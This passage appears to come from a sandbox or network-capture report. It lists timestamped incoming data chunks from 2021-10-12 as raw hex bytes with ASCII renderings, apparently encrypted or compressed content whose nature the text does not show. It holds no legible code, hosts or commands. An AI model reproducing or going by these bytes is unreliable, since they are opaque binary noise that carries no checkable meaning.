fe d7 a6 88 0b 41 aa 5f ec a4 04 c4 6b eb 7d 03 e4 fa d8 92 07 74 19 d6 83 a3 34 12 c7 3b 17 7e 46 ea b4 49 e9 94 b2 73 e2 93 Data Ascii: [![pKPX,m7nDi5h>+s&kp,53v6W\|~fX/qJ):KLSYJ-d2PmFEaQ0h!:n7, (ew>8Bw;O~M0z3qMBkA_k}t4;~FIs
2021-10-12 00:46:07 UTC	704	IN	Data Raw: 38 60 da 08 ac 15 51 4e e4 d7 91 7d ce f4 f1 68 55 a9 3a 86 17 6f c2 78 42 14 6c 76 bc b2 2d 87 73 4e 95 a4 d3 6c cf 4f fb 03 2c c0 30 a0 f0 cd 33 9a 31 a0 36 84 70 c3 00 1c fb 91 07 86 e4 22 4d f7 df 43 3c bf ac 22 a8 37 f7 e2 8d 82 62 9d 40 49 3b 09 51 2b 50 ee 45 a5 25 55 15 b6 af a2 70 88 44 4c 75 74 e2 87 fa fc 55 1f e6 70 a2 c1 f4 50 c2 76 8b a8 ec fe 98 e7 31 62 60 7e 25 39 d2 17 d1 74 62 bc 4c 89 c2 d8 09 66 48 79 cf 28 ed 26 7c a8 4f 30 f4 56 48 13 eb 74 de f8 2b d2 3f 66 49 58 01 8a 02 a7 06 53 9d e8 a4 50 99 04 22 be 73 44 af 32 07 ad bd 3b a9 25 6e 2b 86 dd 7f bb 7e 10 9f 29 2b de 14 59 79 76 1b 66 16 17 6c 5b 16 33 c5 5c 19 4e db a9 40 0f 33 97 f4 2c fe c1 d7 33 c7 42 7d 9e c0 1f d3 3e 31 9f 73 a4 8c 4b a4 b3 cc 01 36 ba 79 e6 ac ec 57 83 39 Data Ascii: 8`QN}hU:oxBlv-sNlO,0316p"MC<"7b@I;Q+PE%UpDLutUpPv1b`~%9tbLfHy(&\|O0VHt+?fIXSP"sD2;%n+~)+Yyvfl[3\N@3,3B}>1sK6yW9
2021-10-12 00:46:07 UTC	720	IN	Data Raw: 04 97 c7 eb 5a 7c a8 92 23 bb 0d 92 5b 80 c8 55 ac f9 63 6f 34 94 aa 21 85 72 c4 e2 4f e6 42 2a d4 3a 85 4f 4e 26 49 89 a0 b5 91 29 33 a3 47 5a a9 95 d9 73 3b 8f d9 d7 bb 05 d0 42 30 4c 15 68 14 1b e0 00 98 b8 96 a2 4e 9d 3f 18 d0 62 fc 48 6c 8c 93 2a 19 68 a0 34 5f 1f b2 25 b3 31 22 56 43 8a 56 26 de 67 53 c0 5b c8 dd a5 fd ca 3e a5 c1 11 77 fb 0e 54 e4 88 b6 a8 e2 b5 be 90 d2 04 84 49 6d 0b cb 72 6b c9 60 ff 8e a4 fe 91 fb d0 c3 39 61 6f 6c 53 26 4c c9 99 26 13 90 00 6e 83 fe 58 35 d9 03 a1 d2 15 bb a4 2d 52 8e e2 a9 29 78 fa 53 4f 57 fd aa e7 25 fc 02 6c 69 59 c0 0d 06 9f 6d d3 31 1d e9 c8 55 6d 69 d0 32 6d 1b a4 1d 41 0a 82 08 58 c6 a8 ba 29 40 19 f2 81 c6 0d 38 d2 9d fc 40 95 8a 53 b0 38 09 ca e5 6a 4b ae 78 17 bd 53 5b 17 0d f7 08 5c ec a6 39 58 1e Data Ascii: Z\|#[Uco4!rOB:ON&I)3GZs;B0LhN?bHlh4_%1"VCV&gS[>wTImrk`9aolS&L&nX5-R)xSOW%liYm1Umi2mAX)@8@S8jKxS[\9X
2021-10-12 00:46:07 UTC	736	IN	Data Raw: 9f 19 f4 16 71 b7 01 1a 19 db 29 c1 3a fa aa 1c 15 6a 72 9d 38 9d 46 ca 15 7b 35 0c 46 38 9d 82 91 05 8f 2b 03 78 5e a8 ca a1 2e 29 93 6d 97 ac c6 76 7f d2 eb 31 85 88 41 d8 1e cb c6 bd 57 ab 84 c0 11 d4 87 3a 12 79 8c 61 a4 ef 10 1a fa b4 b7 cd 46 02 2c 94 b2 45 b7 97 0d 37 92 12 dd 90 31 48 27 d5 f1 6e e0 ab 00 84 9c ff 99 75 42 4f a4 7a 29 00 04 47 77 0a d7 b2 f5 da d6 d2 10 ed 3b 07 09 fa 07 88 a8 bb 79 3a a2 06 fc bd 06 e1 c1 46 03 78 92 1a c7 97 55 f5 87 bc 4c 76 9c 50 2e ed 64 3e 18 b3 dd 71 91 fa f4 3c 77 57 d9 4b 47 90 ad 57 f8 a2 eb cc fe 06 83 af 1c 53 5e f2 a4 57 f6 7d b5 dd 70 ea fa ef 85 03 78 a4 31 69 5c 86 e3 da 2d 9e 42 0d a4 ce 59 da c1 98 74 bb f7 44 45 3f bb b2 89 7f 79 d1 65 f3 78 3a 2a 02 e7 ec 5c 37 0c fa c4 ba dc 93 ff 07 3d 7d be Data Ascii: q):jr8F{5F8+x^.)mv1AW:yaF,E71H'nuBOz)Gw;y:FxULvP.d>q<wWKGWS^W}px1i\-BYtDE?yex:*\7=}
2021-10-12 00:46:07 UTC	752	IN	Data Raw: 82 01 69 75 00 e0 0a cb 4a 52 95 fa 87 f4 79 d1 aa 4a f6 07 ea 40 28 dd 9b 3a 19 ad f8 f2 be 06 fb c8 67 dc 2f be 75 40 5a 30 05 33 e5 61 be 24 54 92 05 77 83 96 0e 74 fd 5a c6 09 6b bc b8 ad 3b 2f 1f 3d a8 8d 48 ee 47 88 01 87 95 0d 2d 5f 6f ad 79 e4 23 44 ad ab ee 1d 1f 99 27 21 1e 7c b0 f6 33 73 b3 60 29 6c a5 a8 67 1b 9d 2c 9e 40 05 4e 73 27 53 c1 02 f6 f0 85 86 fd 30 ea 41 a9 b2 7f 95 78 2d 48 bc e5 7f 3b 90 0c 86 d2 af 4c e9 5b 61 c4 d6 0e e8 98 40 f5 f5 36 f5 cb c0 47 f4 15 d7 49 c1 94 b4 d8 46 44 80 c3 32 64 b6 de b3 12 c5 7f 45 89 ec f2 c8 20 fe 35 cb 7e 1b a2 63 4e 97 8a ef 98 5c f6 dd b5 1e 24 12 20 73 db 47 c8 5f 3d 9f 08 b2 25 d3 b9 99 84 f1 53 ed 2a 43 fa 10 94 84 7e 08 79 d1 03 46 9b f6 25 e9 9e ea 91 49 6b e7 07 14 57 fa 10 2e a8 bd e1 b6 Data Ascii: iuJRyJ@(:g/u@Z03a$TwtZk;/=HG-_oy#D'!\|3s`)lg,@Ns'S0Ax-H;L[a@6GIFD2dE 5~cN\$ sG_=%S*C~yF%IkW.
2021-10-12 00:46:07 UTC	768	IN	Data Raw: 22 13 f0 1b 74 89 ba 5d f9 67 92 39 a8 dd 16 d3 a0 ce 04 24 c5 3e 78 6a b4 89 46 65 c4 87 4d 1d fb 4d 90 6b 5b 29 75 e0 4d 86 7b e0 97 96 e6 af 2b 2b 90 94 fb 15 c8 9e 64 76 12 0c d9 79 b8 e6 dd fb f0 47 48 3f 23 27 0b 83 49 86 92 59 4a 1f 3d 27 a8 6f 95 e0 3d d6 44 3b f8 c4 34 57 4a 6e 5c 13 a2 76 02 d7 0a bc 0a c4 5b c1 eb 7a 4a 59 fd 13 0c 72 86 fc c7 79 eb 0b 17 86 d1 a0 25 87 d0 46 d6 6b f9 d0 61 da ee b4 50 f8 10 3c 43 46 bb 2c 3c b7 10 1c 66 69 e3 d8 54 b7 08 96 6d 15 92 da a8 81 b1 b0 79 b1 1c e7 1b 85 73 b4 c8 2a 55 cd 0d b1 c3 85 6b fd 12 5e c5 4a 3d 9a 68 17 eb 04 9a 10 9a be 27 ef 2f 96 df 3c 82 c0 40 34 49 c7 bf 36 fc c3 2d f1 2f 68 cd 7e 33 b3 4f 61 0b 1e d9 7c 05 1b cb e3 56 68 84 49 f0 bf 97 5b 9c de 48 dc fc b6 88 71 8b c2 1f 82 86 96 06 Data Ascii: "t]g9$>xjFeMMk[)uM{++dvyGH?#'IYJ='o=D;4WJn\v[zJYry%FkaP<CF,<fiTmys*Uk^J=h'/<@4I6-/h~3Oa\|VhI[Hq
2021-10-12 00:46:07 UTC	784	IN	Data Raw: a3 fd d7 94 7f 8d 20 77 d2 6f 45 9f 64 36 6f f8 ba 1c 4a 26 5f 12 1c d8 44 63 8c c2 6b 35 3d 71 45 fa a4 ba c9 d0 7d 9d 23 f8 5a 0c 04 51 cf 2a 6f b2 18 41 bc cc 0e 4c 3b 63 be 0b 48 f3 ff 8f 51 67 9f 05 30 f6 fb fe 5a 7a 4f 3b 6b 62 fa 9b d5 00 f5 33 41 c4 84 6c 7f 7c 11 b0 5c 72 04 b7 11 58 3d c7 74 d0 a1 e9 11 69 19 1d 8c 51 6d 9a 78 46 4c e9 a5 53 97 8f 11 ef d1 99 3a 01 ed b7 06 c5 38 6c a7 5e f9 b8 bf af 77 55 f8 9c 11 16 4c ca 6f 65 ae 05 6f 52 2e a3 1e 42 b9 34 cc 4e 07 bd 75 c6 5a 3a d4 53 48 f7 62 9e 81 81 18 3f 61 7d e5 de 12 a2 42 f8 fd c0 b2 be 43 d1 21 a4 38 96 7e 4c 64 62 de a3 40 11 33 a0 b5 78 79 ea 69 72 6c 9e 04 ba 54 55 74 f0 6c fa 77 77 1b 78 3e a0 74 47 7b e0 72 74 e1 0b 90 05 3f 02 1a 60 92 98 83 be d3 30 3d 2a de e4 82 38 92 f2 b7 Data Ascii: woEd6oJ&_Dck5=qE}#ZQoAL;cHQg0ZzO;kb3Al\|\rX=tiQmxFLS:8l^wULoeoR.B4NuZ:SHb?a}BC!8~Ldb@3xyirlTUtlwwx>tG{rt?`0=8
2021-10-12 00:46:07 UTC	800	IN	Data Raw: 67 bf 35 7c 07 86 20 40 a8 90 61 8a 74 8c 1f 4a 6b 77 3f 9f 7c 28 cc dc b6 51 39 9f c8 8a de e4 03 4c f8 2c a6 1c 7d cd e1 01 6a 07 21 5a c0 0d 14 96 f8 ec f2 0c 7d 4b b1 0a dd bb 88 ba 7c d6 a0 6e 4c 64 b9 58 98 79 10 37 a6 cf 46 fb dc 64 a6 52 3d e3 0f f9 b3 ba ce 62 e6 2f 63 c8 23 0e 2c c8 9f 5f 85 38 5f df 7e 53 ac 84 bc 30 5e 2b 30 8a e1 c7 23 4b 5d f7 c1 51 84 4d 41 b4 0c d7 dd 7f 50 b1 ec de 8a 88 58 22 d0 97 6a 30 6c 38 47 9c 22 6f c5 fe 26 54 21 db 26 cb dd 37 c4 ff 53 e9 0f 7a 2d 8e ed a8 b2 a2 a3 f7 92 4c 2b 74 f7 b0 34 8f 91 b7 a7 89 74 f6 0c c0 0a 12 6d 23 15 84 53 87 74 b3 70 41 c9 b8 2a a5 60 93 67 37 ce e5 02 e1 50 88 bf d3 98 2b a5 c7 35 b5 07 1a 39 e0 49 50 d9 d1 30 79 f6 a3 37 9a 01 33 66 27 19 0e 04 0b 39 d2 d6 fc 82 65 8f 58 71 f8 22 Data Ascii: g5\| @atJkw?\|(Q9L,}j!Z}K\|nLdXy7FdR=b/c#,_8_~S0^+0#K]QMAPX"j0l8G"o&T!&7Sz-L+t4tm#StpA*`g7P+59IP0y73f'9eXq"
2021-10-12 00:46:07 UTC	816	IN	Data Raw: fc 4e 03 a3 01 f8 db f9 51 3e b2 85 6d 35 99 58 90 c4 9f de 6d 46 86 8d ec 53 3a 95 32 fb 3c 6b 64 13 bc 08 7d a6 7d 65 72 67 b6 ea 00 a9 e3 f3 fa bd 18 5d c6 fe d7 90 62 6e c2 95 90 59 c5 12 5f 65 5c 2f 92 07 ce 0a 81 cb a5 9b df 08 19 e0 ab 45 70 bc b0 b7 58 b9 83 cc 41 a7 ad fb 77 f3 9b 23 9a b9 77 90 d4 52 78 af 04 91 f8 44 c8 6d 71 89 27 b2 8d 09 35 10 44 df bb f3 ae 6f fe 1d 12 67 17 89 34 f7 87 ed b2 05 26 64 71 35 97 00 94 af 9c 37 fa 26 d4 93 a9 30 9c 5c 0b d7 5b bc 7a fe b7 2e f2 03 eb f8 bf 39 d9 5d be 45 d1 34 82 e1 9f c0 ad c4 13 f4 92 c8 10 9a fe 79 18 18 78 8c 96 6e 9a 98 dd eb a3 31 e1 6b f5 55 e1 11 3a e2 8a 16 ed 64 88 d0 df 8c ea 19 87 9c 76 b4 d8 ce 51 7e 35 92 97 4b 6b 77 b6 b5 c7 4a 1e 3d 52 d5 7d 91 50 86 f4 db ec ee 90 b9 9f 38 5e Data Ascii: NQ>m5XmFS:2<kd}}erg]bnY_e\/EpXAw#wRxDmq'5Dog4&dq57&0\[z.9]E4yxn1kU:dvQ~5KkwJ=R}P8^
2021-10-12 00:46:07 UTC	832	IN	Data Raw: 6f 8b 60 c5 00 84 6b 3f e7 98 fb fd 5b 50 15 f9 7f ee 0d 37 1f ff d2 d9 47 a5 5c 69 d3 01 b2 7c 95 85 ad 15 dd a6 3f 41 0d 5d 3e 83 f0 bd 7e 13 ea 0b 90 b5 e8 44 eb c2 49 2d a1 7d bf 08 75 2f 21 1d 65 8f c6 a2 79 31 b8 d6 95 45 66 43 e7 ba 59 29 ac a8 2f 8c a1 19 f2 2c 94 82 25 3b f7 8f 24 61 9f 93 b6 54 e8 10 06 e2 06 4d de 6a b6 da 97 53 b3 fd fa 76 06 86 d2 6c c3 08 0f 0f d4 0f eb 83 a1 43 3d 50 12 d2 a3 f2 1c c4 29 8e 3c 1c 15 89 dd dc ca a5 4a ea f3 9b c0 05 f2 4e 29 5d bc 9b 52 65 06 71 ce 74 11 1e 3b 4e b8 30 0b 58 11 68 98 78 98 48 e5 9b de 38 8c 9c 7b 23 d6 ac 06 e0 e2 d1 7c ae 02 f3 ce b1 8c 10 80 30 2a 78 c1 16 bf 06 58 9e 6f 2f 28 b2 e4 49 7c f7 b0 9d 77 71 05 54 63 e0 aa 7e d8 4c 1a f2 2e c7 6c 52 99 2a 5e ef 23 33 07 87 a4 64 f0 e6 98 17 b4 Data Ascii: o`k?[P7G\i\|?A]>~DI-}u/!ey1EfCY)/,%;$aTMjSvlC=P)<JN)]Reqt;N0XhxH8{#\|0xXo/(I\|wqTc~L.lR^#3d
2021-10-12 00:46:07 UTC	848	IN	Data Raw: 89 ba 2c 85 bd 22 a3 e3 36 6b 8f 89 7b a3 16 65 c7 35 bd 6e 14 95 9c f7 1d be cf e7 5a c5 a0 f9 be d1 b7 bb 9c 25 62 36 58 0a 06 07 80 47 6c 24 3f 11 10 00 f8 51 ba b5 12 c8 76 cb 4f 61 11 61 6b d8 f6 c7 81 b2 5b c4 69 c5 fc 84 f6 7a 63 50 4b 08 31 0e 7a 62 e5 65 f3 38 f3 2b ae fa ae 30 fa 45 b5 78 42 66 7f 56 af 3e 92 e4 c0 49 49 bb bc 0e 1d b0 13 8b 81 1b 15 c0 7c 62 3a 60 03 ec 81 da 5e d4 c8 f8 69 57 67 ab 35 5f d5 47 6a 4b d8 e6 5c 35 8f 5b 1a 1f c4 1a 1d ed fe 80 bb b1 58 a3 dd 86 88 c3 76 04 fc 38 3c 6d f7 51 c0 62 5f 02 74 31 4b ac 53 ec d0 b3 62 cf b6 ac 51 e8 2c 5f 48 e1 ca 55 a4 67 71 c7 13 c0 a4 02 69 81 1f 4e f4 b4 93 f2 7f e7 4b ff 55 3e 33 d0 79 94 a5 47 37 c5 b0 f5 c7 4a 28 d8 ca 47 97 c4 02 d0 51 2e 77 bb 11 57 09 3c 3d bb 5c 34 3d 65 f2 Data Ascii: ,"6k{e5nZ%b6XGl$?QvOaak[izcPK1zbe8+0ExBfV>II\|b:`^iWg5_GjK\5[Xv8<mQb_t1KSbQ,_HUgqiNKU>3yG7J(GQ.wW<=\4=e
2021-10-12 00:46:07 UTC	864	IN	Data Raw: 41 b5 2d 83 b0 df 32 9b 3a 1a f6 eb 29 39 7b 1b c5 b3 4c d0 15 5e 8e ef e1 7c f8 2a b5 16 7e c8 f0 97 18 04 8a e0 5d 9c 7e 78 ca bd fd b5 53 87 a0 14 f9 e7 d1 cf 1d 6e c3 fc 1e 40 5c af 40 69 75 66 e4 9c d4 19 ab 01 26 a3 8c e6 d8 1a 57 3a 88 aa 59 c5 00 95 05 5d 7c 27 d7 67 57 f4 e5 bb 3e e2 40 2e 96 99 20 e8 26 fe ce c2 64 35 c7 1d df fc 9c 55 a8 2c 2c 4f eb 88 39 aa 4f 5b c4 45 f3 5a 53 a1 09 ee 57 7b e7 dd b5 a9 30 a3 77 d8 16 79 c7 3b 51 bd d5 69 22 15 0d a9 af 69 44 74 f8 06 9e 11 c0 a2 e2 23 24 57 8a a8 43 ee 02 97 2a ff 4d 41 b1 dc 94 07 a2 b0 e2 cb 79 c6 e9 1e ce f1 48 67 47 c7 22 57 d9 d0 31 4d b8 f2 4c a1 72 cf 24 ca ad 37 c4 49 e5 ec 39 05 1c 03 59 e1 06 e7 94 b4 7f 9f 4e af e9 5b 4b 6b 22 d6 8c cd 49 b2 a1 ef ed 1f 70 58 4f ab cc 3a e0 f2 52 Data Ascii: A-2:)9{L^\|~]~xSn@\@iuf&W:Y]\|'gW>@. &d5U,,O9O[EZSW{0wy;Qi"iDt#$WCMAyHgG"W1MLr$7I9YN[Kk"IpXO:R
2021-10-12 00:46:07 UTC	880	IN	Data Raw: 92 e5 5a 2c 1c cd d6 2b f3 d5 ae c4 22 a5 70 9d a9 6f ce 63 e0 02 c3 df 40 37 3e aa d8 48 15 03 6b 89 83 3d 99 8b 09 7e ea 49 02 9f 9e 21 71 52 19 0f cb b0 16 6b b2 36 c7 93 6c ba 81 71 86 85 b3 35 38 3a b2 01 56 ac a2 33 e5 2e c7 9b 30 7c 21 dc 7a 26 46 b8 fd 55 b3 89 eb 03 ad c3 33 29 41 3c ef 0c 24 4e c1 88 a7 41 76 49 3d 79 1d 1b 86 1e a0 49 2d 5c e9 51 60 c9 3f 42 ca 32 3d 29 35 0a f6 db d2 18 65 7f f9 65 49 34 22 87 09 43 7d 9f 86 1f e9 69 f1 33 70 9c cf ef 96 c8 42 b6 f6 25 4b 19 fe 02 c1 0d 62 2a 2c 5b 32 5c 77 52 ce 34 dc 1f 75 9f bf b7 98 f1 f0 5e cd ae 41 b0 88 76 9c 58 cc 84 80 57 9e 6d 40 5a 8f 31 39 5b 3c 9f 49 ad 86 4c f1 40 cf 3f 0b 22 4d 59 53 72 e0 42 61 dc d9 54 64 4a 52 d4 e5 8b 34 cb 60 0f 5e 93 40 60 d4 7c 32 93 c6 17 e0 41 00 84 6d Data Ascii: Z,+"poc@7>Hk=~I!qRk6lq58:V3.0\|!z&FU3)A<$NAvI=yI-\Q`?B2=)5eeI4"C}i3pB%Kb*,[2\wR4u^AvXWm@Z19[<IL@?"MYSrBaTdJR4`^@`\|2Am
2021-10-12 00:46:07 UTC	896	IN	Data Raw: 0a b1 bb 7c 3c 04 1c 96 72 f3 3b 32 c3 c3 8c 2e 63 c1 62 61 5b 01 fe 38 91 95 f3 ed b6 19 0d e8 91 a7 11 ba 64 c1 e0 b7 ec c4 ca 50 41 e3 b5 03 5f de 16 69 77 53 16 df 82 9e eb 95 1b ca 5a 25 af f7 eb 8f de 49 10 2e 23 f0 f1 5d e7 9b 4b 6e 83 f3 e0 17 19 b4 fc ae c0 8e d4 5f fe 28 7a 28 0e 43 5d 2c f0 63 e7 3a 8a f7 3b 3b d4 6a c8 8b 5b e6 1f 3e 8a c0 d6 c4 d0 a8 76 86 93 d9 f7 ab 63 89 e8 e4 f3 ff 60 3c 24 b3 22 c0 4a fa 79 c8 3b 93 81 6b 21 15 ee 28 b4 a4 7d 3b c6 06 d9 ac fa 0a f8 48 21 35 9a d9 17 72 7d 2c b1 7e 94 52 1c f4 03 22 ac dc 39 d4 07 7c 4a 6a ee c8 52 07 28 cb 44 d6 4b 40 33 d4 29 64 19 b5 5c 4a 5d f3 89 cb ba 35 70 19 88 9e 1e 2a 2b 02 f0 35 37 36 d0 1e 79 e6 b6 c8 2a 34 ea e4 2b c9 d3 70 0d 34 af a8 b9 cc 4e ee 71 4c f5 2d 1a 6b 2b ec 10 Data Ascii: \|<r;2.cba[8dPA_iwSZ%I.#]Kn_(z(C],c:;;j[>vc`<$"Jy;k!(};H!5r},~R"9\|JjR(DK@3)d\J]5p+576y4+p4NqL-k+
2021-10-12 00:46:07 UTC	912	IN	Data Raw: 9d c1 6d e8 3b 3c 75 f1 7f e9 72 cf a6 41 20 dd bb 0f 80 fb 1d 3e 22 d0 4d 26 7f 74 8f 7b 5e 41 2b 05 ce fc 3e 87 09 aa 86 32 d4 46 09 0b 8a 38 3a c9 7e 64 89 4c 71 68 11 af c6 cf 43 2c 68 3c 28 ad c6 35 4c 47 6b bb 81 b2 04 09 b5 9a 82 0f 73 93 8d 9f ed ca 88 91 3a 1b c6 c8 3d a0 42 1d 36 1a c9 70 5f a6 f9 4a a5 a8 a1 13 43 da 2a a1 68 bb 4b 91 b8 55 f9 71 2d 75 56 bc a0 b4 2b c5 7e cc 62 32 d2 b8 d8 af f6 e3 f9 2d af 76 f3 84 56 42 45 37 f0 24 0f 3a e8 14 fb cb ad 01 76 c5 e5 7f b3 e9 17 e4 76 ea 16 02 15 54 6e 6b 44 37 56 2a 25 65 d0 b1 ad f4 9e eb 4d f2 4b 7c 35 cc 39 45 87 57 30 91 9c 5c 7c 91 56 22 37 c7 52 e3 ae f8 0b 30 69 4e 06 4d 9f ba 67 f7 e0 a5 8e 00 da c4 d6 96 04 1c 5e 87 16 29 5c f7 e4 14 96 77 36 3d 4a 52 84 5d 57 00 df 86 ef 13 ab 98 6e Data Ascii: m;<urA >"M&t{^A+>2F8:~dLqhC,h<(5LGks:=B6p_JChKUq-uV+~b2-vVBE7$:vvTnkD7V%eMK\|59EW0\\|V"7R0iNMg^)\w6=JR]Wn
2021-10-12 00:46:07 UTC	928	IN	Data Raw: dc f7 1c 0a d1 80 a1 fb da 0c b4 55 c0 d0 01 c7 d0 01 08 7b d2 d5 4d c0 0d fa 58 a4 4b 6e b6 c3 b5 eb 31 49 42 55 ef 12 18 21 29 c1 9e 97 8e 99 ea 0f fa 64 78 52 95 b7 80 f1 5d 43 05 94 42 92 ac d3 2b 82 fb e6 ac 2a 37 8a dc 3e 73 84 7e eb 10 1e a8 94 46 42 48 58 19 4a df 37 d5 64 39 6d 3e 94 06 d9 e2 7a bd 2f 55 77 a3 4a e6 63 1c 50 4d cc 61 90 55 28 e2 5e 0d f0 b8 fc bb 3e 6e 32 de 52 51 33 13 5d db e5 f3 85 7d 9a a9 5a 07 51 ff 44 02 8c 98 15 6a 50 72 b5 a0 71 21 7a 7e d8 cf 17 29 03 d2 4f 7a 9d d4 2e 9b 46 3a fc ad ee 92 c9 27 35 30 3e f9 29 08 68 2d 87 0d 30 9c c3 4e 77 72 eb 2f 65 57 13 c0 d2 ff db 06 2e 06 a1 b4 f3 8f 23 8d 08 fd 58 09 9a 5e ac 61 37 42 9f eb 45 df 49 a7 c2 b7 28 4e a8 68 00 c9 c1 de 1b 25 d0 a8 93 29 43 22 9c 84 ee 89 9b ff 20 05 Data Ascii: U{MXKn1IBU!)dxR]CB+*7>s~FBHXJ7d9m>z/UwJcPMaU(^>n2RQ3]}ZQDjPrq!z~)Oz.F:'50>)h-0Nwr/eW.#X^a7BEI(Nh%)C"
2021-10-12 00:46:07 UTC	944	IN	Data Raw: 36 16 cc 65 16 32 f9 58 ae 9a 8f 2b 17 7c 9e 73 50 38 86 51 33 5c 91 7b 35 b2 57 69 58 4b 4c 1c f6 e5 61 a3 95 21 82 83 d3 a5 c4 58 49 c7 31 a4 9e dd ba eb f8 ec fb cc fb 0e ad 12 d5 a9 ee cd 8b fa 86 37 a7 27 db 05 93 fb ee 6c e4 40 3f b4 b5 90 04 29 27 7e 28 df 7d 31 a6 34 1d 4c c5 0d 25 b6 f4 4c 20 b3 36 d5 38 7a 45 92 0d 45 ee 76 c5 5f 43 4e 91 73 ec fc 64 50 06 2f ae 5b 7b ef f0 7f 4b 34 b1 b0 e2 7b 8e 86 9e 7e aa 72 dd 76 a8 83 25 e4 2c 58 6d d2 86 e8 c9 c4 74 27 bb 50 cf 0d 4b a1 46 7f fd 2f 49 ab d8 6a ee 68 55 42 aa 5f fc bb 60 ea 8b b6 ed 80 43 44 28 a6 f2 a4 d7 46 3d 36 ef 5f 21 3f de 5c 0c c0 fd fe c3 07 54 ac 72 85 78 a5 b1 c7 31 55 47 2c 80 29 12 6b f5 0f fd ca 0b 71 8a 9d ea 23 d4 02 4f 79 7f fd 96 5e 3f 1d fc 21 a8 2e aa f3 2b 0e 27 25 85 Data Ascii: 6e2X+\|sP8Q3\{5WiXKLa!XI17'l@?)'~(}14L%L 68zEEv_CNsdP/[{K4{~rv%,Xmt'PKF/IjhUB_`CD(F=6_!?\Trx1UG,)kq#Oy^?!.+'%
2021-10-12 00:46:07 UTC	960	IN	Data Raw: 4d 09 2f fc 5e 80 51 e7 79 14 1f 15 53 6c f6 5d 6f a7 f3 58 8d b7 ca 0f 3f b0 fe 2b 3a f3 e5 e2 ed 7d ee 6c cf 19 7d 79 a9 eb 38 38 97 24 e2 7d 24 95 9c 96 4e 68 b6 77 26 41 6b a5 cd aa ae dd 5d 1b 51 06 7d 4e 87 18 de 12 71 6d 18 98 88 b0 c3 49 6f 0a 68 ba 8c 47 dc 70 e8 50 d9 00 ca e8 79 4c c7 3a 4b c9 22 bb 72 95 81 0f e7 bc ca 79 61 b8 7b 9d 9d 7c ed 40 38 29 23 66 0c bc 96 78 62 2e a2 3c 06 cb a3 de bd bd ce 42 0c 1b d6 0e ad 2b 53 b1 ec b2 c4 27 06 2f e4 c4 23 4c 26 7e 27 44 c1 9e 3d c0 93 15 83 b2 20 d2 26 06 96 14 fc 1d eb 8e 6d 81 2e 65 e8 1e 5c f5 83 c3 d2 13 bb d7 7e 3e 85 05 48 f3 f3 6a ba 98 07 79 7d c7 e0 5f 41 91 99 99 c9 96 af 02 ed 7b 1b 37 5a ed cb d1 f8 81 c2 64 6f d2 c4 98 07 e5 fa 95 af 88 2e d4 97 1f 53 31 9f bc 7d 4e 5d f5 ee 0f df Data Ascii: M/^QySl]oX?+:}l}y88$}$Nhw&Ak]Q}NqmIohGpPyL:K"rya{\|@8)#fxb.<B+S'/#L&~'D= &m.e\~>Hjy}_A{7Zdo.S1}N]
2021-10-12 00:46:07 UTC	976	IN	Data Raw: 59 48 bb 99 30 18 bf 4e fd 1f 63 fe 6a 97 af 0c 3f b8 bb f8 dc 01 df eb 94 ef 08 ca 23 8f 28 f2 e4 1a 39 7c a3 4f b5 bb 2b 4b d1 d7 00 21 6e c4 74 98 83 b4 1c 81 f2 40 a0 b7 a2 6b 8e 4b 0b 13 a3 0b 24 98 cf d4 32 ca d4 72 c6 4a 15 f7 85 c1 88 2b 1c 0d 07 60 35 56 52 09 a9 41 2c 10 f6 df 34 47 9c 18 db fd 81 f3 b4 74 6e c7 1a b7 ff 00 57 fa 86 c8 90 1a 42 ea f3 b5 23 3f 58 f8 7f 92 95 f4 83 70 de 79 e6 ce 4d 86 9b 5c 66 34 28 cd cf d8 77 c1 6b 8e 6b 2d 49 bd 83 d2 27 69 3c b5 5a 0c 93 61 2d a6 bb 0d 81 8e 1a b9 0f fd 99 7b 56 cb 79 e6 9a fb cf e4 86 76 cf 6f 81 ce 0d cc c8 bb 73 d6 41 22 f2 32 d9 b2 6d fc 53 72 6b 77 7c 9f 7b 1e 48 a3 22 1a a9 07 4b b4 29 8b e4 29 c9 41 c5 50 b4 02 bb 06 3c e3 0e 22 09 32 67 8e 99 5d c8 32 81 26 e8 fd be 20 7e 28 17 c2 7b Data Ascii: YH0Ncj?#(9\|O+K!nt@kK$2rJ+`5VRA,4GtnWB#?XpyM\f4(wkk-I'i<Za-{VyvosA"2mSrkw\|{H"K))AP<"2g]2& ~({
2021-10-12 00:46:07 UTC	992	IN	Data Raw: 6e 1a ce 99 01 e3 1e b0 11 b8 64 75 6c 89 2a 90 15 4e 27 24 67 74 2c c3 77 a7 4f ee 12 91 da 19 84 ad 4d 00 1c 6c 2d 7f 94 19 09 44 29 9c 9b f2 42 05 5d 86 e3 3e 9d c1 60 99 d7 00 6a 73 2a 08 ce 86 d6 34 1a 67 33 e3 6d 89 41 70 32 ea 60 d1 64 94 a9 63 4c 9c a7 d4 82 a6 58 07 b6 2a 31 3c 6c 6a 4e 5c a6 2b 48 f6 13 be f4 7b 7b 9b 58 c8 27 1a 0d 1b 2a 31 2e af de 71 37 db 2f 4e cb c8 02 dc 1e b5 69 ac 4d ad c1 af 42 ab bd b6 c4 eb fd d9 53 b0 84 6e a1 70 4c 22 f4 05 74 57 08 03 16 4f a2 7b 99 bd bf d4 41 86 5c a4 80 29 d3 2a 3d c7 75 9e df 74 23 14 62 1a 8f 3f ab e3 cb ab ce 4d 80 5c eb bf 08 10 93 12 f6 82 d9 a2 e0 f8 52 8f 86 23 bc d1 13 2b 58 21 17 04 1f da 02 44 46 5a 48 53 3c 88 42 eb fd 40 cd b0 ee a0 73 82 81 44 01 c8 59 d0 f4 df a8 36 88 7e e5 97 aa Data Ascii: ndulN'$gt,wOMl-D)B]>`js4g3mAp2`dcLX1<ljN\+H{{X'1.q7/NiMBSnpL"tWO{A\)*=ut#b?M\R#+X!DFZHS<B@sDY6~
